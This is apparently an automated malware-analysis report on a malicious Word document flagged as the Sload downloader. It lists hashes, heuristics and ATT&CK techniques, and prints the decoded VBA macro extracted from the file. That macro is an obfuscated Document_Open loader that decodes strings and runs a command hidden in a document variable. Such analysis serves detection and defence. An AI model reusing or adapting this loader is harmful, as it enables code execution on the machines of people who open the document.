Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c01bb651123ec60c…

MALICIOUS

Office (OLE)

98.0 KB Created: 2018-09-03 22:57:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 8122140619ff0e083c20af82ffcb9086 SHA-1: 0183fdb065df3919c105df31e34b819f7b1e7db9 SHA-256: c01bb651123ec60cf131876540a61a0504353ddee83290f14db9cfe027e51d2d
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing an obfuscated VBA macro. The Document_Open macro uses CreateObject and CallByName to execute a payload, which is a common technique for downloading and running second-stage malware. The ClamAV detection name 'Doc.Downloader.Sload-6691312-0' further supports this behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Sload-6691312-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6691312-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1067 bytes
SHA-256: 62492a7cdad1ba1b751b02e4dd58b2242a60901dc134fdfcd1e14b13491bd312
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function A_(ByVal AX_ As String)
Dim X_(2) As Integer: X_(0) = Val("38"): X_(1) = Val("72"): Dim YC_ As String: Dim VZS_ As Long: For VZS_ = 1 To Len(AX_) Step 2: YC_ = YC_ & Chr(Val(Chr(X_(0)) & Chr(X_(1)) & Mid(AX_, VZS_, 2)) - 49): Next: A_ = YC_
End Function
Sub Document_Open()
CallByName CreateObject(A_("888494A39AA1A55F8499969D9D")), A_("83A69F"), VbMethod, A_(ActiveDocument.Variables("HGSZNZ").Value), 0, True
End Sub
Private Function HFFRNB_() As String
UROYNE_ = aIDOVKBTCSP_:For  = 26 To 54:BYNGRJD_(aENPZOU_ & QNJJSANP_(34, 4), 11)):Next i:Select Case IN_: Case Is >= 63: HI_ = "JAJCEN_": Case Is >= 53: HD_ = "BUEZFTD_": Case Is >= 172: OQZ_ = "VEAYOKX_": Case Else: CAA_ = "WIMTORL_": End Select:HFFRNB_ = HAEVMWSBU_:
End Function

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